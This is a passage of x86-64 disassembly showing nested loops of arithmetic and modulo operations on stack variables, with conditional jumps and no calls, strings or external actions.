mov eax, edx
test eax, eax
jne 0x140079ddd
mov eax, dword [rsp + 0x70]
sub eax, 4
mov dword [rsp + 0x70], eax
jmp 0x140079de8
mov eax, dword [rsp + 0x70]
add eax, 5
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079db3
cmp dword [rsp + 0x70], 0
jle 0x140079e39
mov eax, dword [rsp + 0x70]
sub eax, 3
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079e2c
mov eax, dword [rsp + 0x70]
add eax, 6
mov dword [rsp + 0x70], eax
jmp 0x140079e37
mov eax, dword [rsp + 0x70]
sub eax, 2
mov dword [rsp + 0x70], eax
jmp 0x140079dfa
mov dword [rsp + 0x74], 5
cmp dword [rsp + 0x74], 0x23
jge 0x140079e7e
mov eax, dword [rsp + 0x74]
add eax, 6
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079e71
mov eax, dword [rsp + 0x74]
add eax, eax
mov dword [rsp + 0x74], eax
jmp 0x140079e7c
mov eax, dword [rsp + 0x74]
sub eax, 3
mov dword [rsp + 0x74], eax
jmp 0x140079e41
cmp dword [rsp + 0x74], 0xf
jle 0x140079efe
mov dword [rsp + 0x108], 0
jmp 0x140079ea2
mov eax, dword [rsp + 0x108]
inc eax
mov dword [rsp + 0x108], eax
cmp dword [rsp + 0x108], 7
jge 0x140079efc
mov eax, dword [rsp + 0x74]
mov ecx, dword [rsp + 0x108]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079ee6
mov eax, dword [rsp + 0x108]
mov ecx, dword [rsp + 0x74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
jmp 0x140079efa
imul eax, dword [rsp + 0x108], 3
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
jmp 0x140079e92
jmp 0x140079f28
mov eax, dword [rsp + 0x74]
sub eax, 9
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0xa
jge 0x140079f1d
mov eax, dword [rsp + 0x74]
add eax, 6
mov dword [rsp + 0x74], eax
jmp 0x140079f28
mov eax, dword [rsp + 0x74]
sub eax, 2
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
add eax, 5
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079f52
mov eax, dword [rsp + 0x74]
sub eax, 6
mov dword [rsp + 0x74], eax
jmp 0x140079f5d
mov eax, dword [rsp + 0x74]
add eax, 7
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079f28
cmp dword [rsp + 0x74], 0
jle 0x140079fae
mov eax, dword [rsp + 0x74]
sub eax, 5
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x74]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079fa1
mov eax, dword [rsp + 0x74]
add eax, 8
mov dword [rsp + 0x74], eax
jmp 0x140079fac
mov eax, dword [rsp + 0x74]
sub eax, 3
mov dword [rsp + 0x74], eax
jmp 0x140079f6f
mov eax, dword [rsp + 0x158]
imul eax, dword [rsp + 0x1fc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x2b4], eax
cmp dword [rsp + 0x158], 3
jl 0x140079ca4
jmp 0x140079c76
cmp dword [rsp + 0x1fc], 5
jle 0x14007a4b4
mov eax, dword [rsp + 0x1fc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x200], eax
mov dword [rsp + 0x38], 5
cmp dword [rsp + 0x38], 0x28
jge 0x14007a06c
mov eax, dword [rsp + 0x38]
add eax, 7
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a05f
mov eax, dword [rsp + 0x38]
add eax, eax
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a052
mov eax, dword [rsp + 0x38]
sub eax, 3
mov dword [rsp + 0x38], eax
jmp 0x14007a05d
mov eax, dword [rsp + 0x38]
add eax, 4
mov dword [rsp + 0x38], eax
jmp 0x14007a06a
mov eax, dword [rsp + 0x38]
sub eax, 3
mov dword [rsp + 0x38], eax
jmp 0x14007a005
cmp dword [rsp + 0x38], 0xf
jle 0x14007a132
mov dword [rsp + 0xa8], 0
jmp 0x14007a094
mov eax, dword [rsp + 0xa8]
inc eax
mov dword [rsp + 0xa8], eax
cmp dword [rsp + 0xa8], 8
jge 0x14007a130
imul eax, dword [rsp + 0xa8], 9
mov ecx, dword [rsp + 0x38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007a117
mov eax, dword [rsp + 0xa8]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a102
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0xa8]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x38], eax
jmp 0x14007a115
mov eax, dword [rsp + 0xa8]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
jmp 0x14007a12b
imul eax, dword [rsp + 0xa8], 3
mov ecx, dword [rsp + 0x38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
jmp 0x14007a084
jmp 0x14007a184
mov eax, dword [rsp + 0x38]
sub eax, 0xa
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0xa
jge 0x14007a179
mov eax, dword [rsp + 0x38]
add eax, 7
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14007a16c
mov eax, dword [rsp + 0x38]
sub eax, 2
mov dword [rsp + 0x38], eax
jmp 0x14007a177
mov eax, dword [rsp + 0x38]
add eax, 3
mov dword [rsp + 0x38], eax
jmp 0x14007a184
mov eax, dword [rsp + 0x38]
sub eax, 2
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
add eax, 6
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a1d9
mov eax, dword [rsp + 0x38]
sub eax, 5
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007a1cc
mov eax, dword [rsp + 0x38]
add eax, 8
mov dword [rsp + 0x38], eax
jmp 0x14007a1d7
mov eax, dword [rsp + 0x38]
sub eax, 3
mov dword [rsp + 0x38], eax
jmp 0x14007a1e4
mov eax, dword [rsp + 0x38]
add eax, 7
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a184
cmp dword [rsp + 0x38], 0
jle 0x14007a25d
mov eax, dword [rsp + 0x38]
sub eax, 6
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007a228
mov eax, dword [rsp + 0x38]
add eax, 9
mov dword [rsp + 0x38], eax
jmp 0x14007a25b
mov eax, dword [rsp + 0x38]
sub eax, 3
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14007a250
mov eax, dword [rsp + 0x38]
add eax, 4
mov dword [rsp + 0x38], eax
jmp 0x14007a25b
mov eax, dword [rsp + 0x38]
sub eax, 2
mov dword [rsp + 0x38], eax
jmp 0x14007a1f6
mov dword [rsp + 0x94], 0xa
mov dword [rsp + 0x10c], 0
jmp 0x14007a285
mov eax, dword [rsp + 0x10c]
inc eax
mov dword [rsp + 0x10c], eax
cmp dword [rsp + 0x10c], 5
jge 0x14007a2f1
imul eax, dword [rsp + 0x10c], 3
mov ecx, dword [rsp + 0x94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14007a2d7
mov eax, dword [rsp + 0x10c]
mov ecx, dword [rsp + 0x94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
jmp 0x14007a2ef
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0x10c]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x94], eax
jmp 0x14007a275
cmp dword [rsp + 0x94], 0x14
jle 0x14007a393
mov dword [rsp + 0x110], 0
jmp 0x14007a31c
mov eax, dword [rsp + 0x110]
inc eax
mov dword [rsp + 0x110], eax
cmp dword [rsp + 0x110], 3
jge 0x14007a391
mov eax, dword [rsp + 0x110]
add eax, 2
mov ecx, dword [rsp + 0x94]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a373
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
jmp 0x14007a38c
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
jmp 0x14007a30c
jmp 0x14007a3d2
mov eax, dword [rsp + 0x94]
sub eax, 5
mov dword [rsp + 0x94], eax
cmp dword [rsp + 0x94], 0xa
jge 0x14007a3c1
mov eax, dword [rsp + 0x94]
add eax, 3
mov dword [rsp + 0x94], eax
jmp 0x14007a3d2
mov eax, dword [rsp + 0x94]
sub eax, 2
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x14007a434
mov eax, dword [rsp + 0x94]
add eax, 2
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a421
mov eax, dword [rsp + 0x94]
sub eax, 3
mov dword [rsp + 0x94], eax
jmp 0x14007a432
mov eax, dword [rsp + 0x94]
add eax, 4
mov dword [rsp + 0x94], eax
jmp 0x14007a3d2
mov eax, dword [rsp + 0x94]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x14007a496
mov eax, dword [rsp + 0x94]
add eax, 2
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a483
mov eax, dword [rsp + 0x94]
sub eax, 2
mov dword [rsp + 0x94], eax
jmp 0x14007a494
mov eax, dword [rsp + 0x94]
add eax, 3
mov dword [rsp + 0x94], eax
jmp 0x14007a434
mov eax, dword [rsp + 0x200]
dec eax
mov dword [rsp + 0x200], eax
cmp dword [rsp + 0x200], 0
jg 0x140079ffd
jmp 0x140079c3a
mov eax, dword [rsp + 0x204]
sub eax, 3
mov dword [rsp + 0x204], eax
cmp dword [rsp + 0x204], 0
jg 0x140079c2d
mov dword [rsp + 0x208], 0
jmp 0x14007a4f5
mov eax, dword [rsp + 0x208]
inc eax
mov dword [rsp + 0x208], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x208], eax
jge 0x14007acb7
mov dword [rsp + 0x20c], 7
mov dword [rsp + 0x188], 0
jmp 0x14007a531
mov eax, dword [rsp + 0x188]
inc eax
mov dword [rsp + 0x188], eax
cmp dword [rsp + 0x188], 2
jge 0x14007a887
mov eax, dword [rsp + 0x188]
inc eax
mov dword [rsp + 0x15c], eax
mov eax, dword [rsp + 0x15c]
inc eax
mov dword [rsp + 0x15c], eax
cmp dword [rsp + 0x15c], 2
jne 0x14007a874
mov dword [rsp + 0x78], 5
cmp dword [rsp + 0x78], 0x23
jge 0x14007a5b2
mov eax, dword [rsp + 0x78]
add eax, 6
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a5a5
mov eax, dword [rsp + 0x78]
add eax, eax
mov dword [rsp + 0x78], eax
jmp 0x14007a5b0
mov eax, dword [rsp + 0x78]
sub eax, 3
mov dword [rsp + 0x78], eax
jmp 0x14007a575
cmp dword [rsp + 0x78], 0xf
jle 0x14007a632
mov dword [rsp + 0x114], 0
jmp 0x14007a5d6
mov eax, dword [rsp + 0x114]
inc eax
mov dword [rsp + 0x114], eax
cmp dword [rsp + 0x114], 7
jge 0x14007a630
mov eax, dword [rsp + 0x78]
mov ecx, dword [rsp + 0x114]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007a61a
mov eax, dword [rsp + 0x114]
mov ecx, dword [rsp + 0x78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x78], eax
jmp 0x14007a62e
imul eax, dword [rsp + 0x114], 3
mov ecx, dword [rsp + 0x78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x78], eax
jmp 0x14007a5c6
jmp 0x14007a65c
mov eax, dword [rsp + 0x78]
sub eax, 9
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 0xa
jge 0x14007a651
mov eax, dword [rsp + 0x78]
add eax, 6
mov dword [rsp + 0x78], eax
jmp 0x14007a65c
mov eax, dword [rsp + 0x78]
sub eax, 2
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
add eax, 5
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a686
mov eax, dword [rsp + 0x78]
sub eax, 6
mov dword [rsp + 0x78], eax
jmp 0x14007a691
mov eax, dword [rsp + 0x78]
add eax, 7
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a65c
cmp dword [rsp + 0x78], 0
jle 0x14007a6e2
mov eax, dword [rsp + 0x78]
sub eax, 5
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007a6d5
mov eax, dword [rsp + 0x78]
add eax, 8
mov dword [rsp + 0x78], eax
jmp 0x14007a6e0
mov eax, dword [rsp + 0x78]
sub eax, 3
mov dword [rsp + 0x78], eax
jmp 0x14007a6a3
mov dword [rsp + 0x7c], 5
cmp dword [rsp + 0x7c], 0x19
jge 0x14007a727
mov eax, dword [rsp + 0x7c]
add eax, 0xa
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a71a
mov eax, dword [rsp + 0x7c]
shl eax, 1
mov dword [rsp + 0x7c], eax
jmp 0x14007a725
mov eax, dword [rsp + 0x7c]
sub eax, 3
mov dword [rsp + 0x7c], eax
jmp 0x14007a6ea
cmp dword [rsp + 0x7c], 0xf
jle 0x14007a7a9
mov dword [rsp + 0x118], 0
jmp 0x14007a74b
mov eax, dword [rsp + 0x118]
inc eax
mov dword [rsp + 0x118], eax
cmp dword [rsp + 0x118], 5
jge 0x14007a7a7
imul eax, dword [rsp + 0x118], 6
mov ecx, dword [rsp + 0x7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007a791
mov eax, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c], eax
jmp 0x14007a7a5
imul eax, dword [rsp + 0x118], 3
mov ecx, dword [rsp + 0x7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c], eax
jmp 0x14007a73b
jmp 0x14007a7d3
mov eax, dword [rsp + 0x7c]
sub eax, 7
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 0xa
jge 0x14007a7c8
mov eax, dword [rsp + 0x7c]
add eax, 4
mov dword [rsp + 0x7c], eax
jmp 0x14007a7d3
mov eax, dword [rsp + 0x7c]
sub eax, 2
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
add eax, 3
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a7fd
mov eax, dword [rsp + 0x7c]
sub eax, 4
mov dword [rsp + 0x7c], eax
jmp 0x14007a808
mov eax, dword [rsp + 0x7c]
add eax, 5
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a7d3
cmp dword [rsp + 0x7c], 0
jle 0x14007a859
mov eax, dword [rsp + 0x7c]
sub eax, 0x32
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007a84c
mov eax, dword [rsp + 0x7c]
add eax, 6
mov dword [rsp + 0x7c], eax
jmp 0x14007a857
mov eax, dword [rsp + 0x7c]
sub eax, 2
mov dword [rsp + 0x7c], eax
jmp 0x14007a81a
mov eax, dword [rsp + 0x15c]
imul eax, dword [rsp + 0x20c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x2b8], eax
cmp dword [rsp + 0x15c], 3
jl 0x14007a54f
jmp 0x14007a521
cmp dword [rsp + 0x20c], 5
jle 0x14007acb2
mov eax, dword [rsp + 0x20c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x210], eax
mov dword [rsp + 0x80], 5
cmp dword [rsp + 0x80], 0x1e
jge 0x14007a908
mov eax, dword [rsp + 0x80]
add eax, 5
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a8f5
mov eax, dword [rsp + 0x80]
shl eax, 1
mov dword [rsp + 0x80], eax
jmp 0x14007a906
mov eax, dword [rsp + 0x80]
sub eax, 3
mov dword [rsp + 0x80], eax
jmp 0x14007a8b3
cmp dword [rsp + 0x80], 0xf
jle 0x14007a9a9
mov dword [rsp + 0x11c], 0
jmp 0x14007a933
mov eax, dword [rsp + 0x11c]
inc eax
mov dword [rsp + 0x11c], eax
cmp dword [rsp + 0x11c], 6
jge 0x14007a9a7
imul eax, dword [rsp + 0x11c], 7
mov ecx, dword [rsp + 0x80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007a988
mov eax, dword [rsp + 0x11c]
mov ecx, dword [rsp + 0x80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80], eax
jmp 0x14007a9a2
imul eax, dword [rsp + 0x11c], 3
mov ecx, dword [rsp + 0x80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80], eax
jmp 0x14007a923
jmp 0x14007a9e8
mov eax, dword [rsp + 0x80]
sub eax, 8
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0xa
jge 0x14007a9d7
mov eax, dword [rsp + 0x80]
add eax, 5
mov dword [rsp + 0x80], eax
jmp 0x14007a9e8
mov eax, dword [rsp + 0x80]
sub eax, 2
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
add eax, 4
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007aa21
mov eax, dword [rsp + 0x80]
sub eax, 5
mov dword [rsp + 0x80], eax
jmp 0x14007aa32
mov eax, dword [rsp + 0x80]
add eax, 6
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007a9e8
cmp dword [rsp + 0x80], 0
jle 0x14007aa9e
mov eax, dword [rsp + 0x80]
sub eax, 4
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007aa8b
mov eax, dword [rsp + 0x80]
add eax, 7
mov dword [rsp + 0x80], eax
jmp 0x14007aa9c
mov eax, dword [rsp + 0x80]
sub eax, 3
mov dword [rsp + 0x80], eax
jmp 0x14007aa47
mov dword [rsp + 0x84], 5
cmp dword [rsp + 0x84], 0x19
jge 0x14007aafe
mov eax, dword [rsp + 0x84]
add eax, 4
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007aaeb
mov eax, dword [rsp + 0x84]
shl eax, 1
mov dword [rsp + 0x84], eax
jmp 0x14007aafc
mov eax, dword [rsp + 0x84]
sub eax, 3
mov dword [rsp + 0x84], eax
jmp 0x14007aaa9
cmp dword [rsp + 0x84], 0xf
jle 0x14007ab9f
mov dword [rsp + 0x120], 0
jmp 0x14007ab29
mov eax, dword [rsp + 0x120]
inc eax
mov dword [rsp + 0x120], eax
cmp dword [rsp + 0x120], 5
jge 0x14007ab9d
imul eax, dword [rsp + 0x120], 6
mov ecx, dword [rsp + 0x84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007ab7e
mov eax, dword [rsp + 0x120]
mov ecx, dword [rsp + 0x84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x84], eax
jmp 0x14007ab98
imul eax, dword [rsp + 0x120], 3
mov ecx, dword [rsp + 0x84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84], eax
jmp 0x14007ab19
jmp 0x14007abde
mov eax, dword [rsp + 0x84]
sub eax, 7
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 0xa
jge 0x14007abcd
mov eax, dword [rsp + 0x84]
add eax, 4
mov dword [rsp + 0x84], eax
jmp 0x14007abde
mov eax, dword [rsp + 0x84]
sub eax, 2
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
add eax, 3
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007ac17
mov eax, dword [rsp + 0x84]
sub eax, 4
mov dword [rsp + 0x84], eax
jmp 0x14007ac28
mov eax, dword [rsp + 0x84]
add eax, 5
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007abde
cmp dword [rsp + 0x84], 0
jle 0x14007ac94
mov eax, dword [rsp + 0x84]
sub eax, 3
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007ac81
mov eax, dword [rsp + 0x84]
add eax, 6
mov dword [rsp + 0x84], eax
jmp 0x14007ac92
mov eax, dword [rsp + 0x84]
sub eax, 2
mov dword [rsp + 0x84], eax
jmp 0x14007ac3d
mov eax, dword [rsp + 0x210]
dec eax
mov dword [rsp + 0x210], eax
cmp dword [rsp + 0x210], 0
jg 0x14007a8a8
jmp 0x14007a4e5
mov dword [rsp + 0x44], 5
cmp dword [rsp + 0x44], 0x1e
jge 0x14007acfc
mov eax, dword [rsp + 0x44]
add eax, 5
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007acef
mov eax, dword [rsp + 0x44]
shl eax, 1
mov dword [rsp + 0x44], eax
jmp 0x14007acfa
mov eax, dword [rsp + 0x44]
sub eax, 3
mov dword [rsp + 0x44], eax
jmp 0x14007acbf
cmp dword [rsp + 0x44], 0xf
jle 0x14007ad7e
mov dword [rsp + 0x124], 0
jmp 0x14007ad20
mov eax, dword [rsp + 0x124]
inc eax
mov dword [rsp + 0x124], eax
cmp dword [rsp + 0x124], 6
jge 0x14007ad7c
imul eax, dword [rsp + 0x124], 7
mov ecx, dword [rsp + 0x44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007ad66
mov eax, dword [rsp + 0x124]
mov ecx, dword [rsp + 0x44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44], eax
jmp 0x14007ad7a
imul eax, dword [rsp + 0x124], 3
mov ecx, dword [rsp + 0x44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44], eax
jmp 0x14007ad10
jmp 0x14007ada8
mov eax, dword [rsp + 0x44]
sub eax, 8
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0xa
jge 0x14007ad9d
mov eax, dword [rsp + 0x44]
add eax, 5
mov dword [rsp + 0x44], eax
jmp 0x14007ada8
mov eax, dword [rsp + 0x44]
sub eax, 2
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
add eax, 4
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007add2
mov eax, dword [rsp + 0x44]
sub eax, 5
mov dword [rsp + 0x44], eax
jmp 0x14007addd
mov eax, dword [rsp + 0x44]
add eax, 6
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007ada8
cmp dword [rsp + 0x44], 0
jle 0x14007ae2e
mov eax, dword [rsp + 0x44]
sub eax, 4
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007ae21
mov eax, dword [rsp + 0x44]
add eax, 7
mov dword [rsp + 0x44], eax
jmp 0x14007ae2c
mov eax, dword [rsp + 0x44]
sub eax, 3
mov dword [rsp + 0x44], eax
jmp 0x14007adef
mov dword [rsp + 0x4c], 5
cmp dword [rsp + 0x4c], 0x23
jge 0x14007ae73
mov eax, dword [rsp + 0x4c]
add eax, 6
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007ae66
mov eax, dword [rsp + 0x4c]
add eax, eax
mov dword [rsp + 0x4c], eax
jmp 0x14007ae71
mov eax, dword [rsp + 0x4c]
sub eax, 3
mov dword [rsp + 0x4c], eax
jmp 0x14007ae36
cmp dword [rsp + 0x4c], 0xf
jle 0x14007aef3
mov dword [rsp + 0x128], 0
jmp 0x14007ae97
mov eax, dword [rsp + 0x128]
inc eax
mov dword [rsp + 0x128], eax
cmp dword [rsp + 0x128], 7
jge 0x14007aef1
mov eax, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x128]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007aedb
mov eax, dword [rsp + 0x128]
mov ecx, dword [rsp + 0x4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c], eax
jmp 0x14007aeef
imul eax, dword [rsp + 0x128], 3
mov ecx, dword [rsp + 0x4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c], eax
jmp 0x14007ae87
jmp 0x14007af1d
mov eax, dword [rsp + 0x4c]
sub eax, 9
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0xa
jge 0x14007af12
mov eax, dword [rsp + 0x4c]
add eax, 6
mov dword [rsp + 0x4c], eax
jmp 0x14007af1d
mov eax, dword [rsp + 0x4c]
sub eax, 2
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
add eax, 5
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007af47
mov eax, dword [rsp + 0x4c]
sub eax, 6
mov dword [rsp + 0x4c], eax
jmp 0x14007af52
mov eax, dword [rsp + 0x4c]
add eax, 7
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007af1d
cmp dword [rsp + 0x4c], 0
jle 0x14007afa3
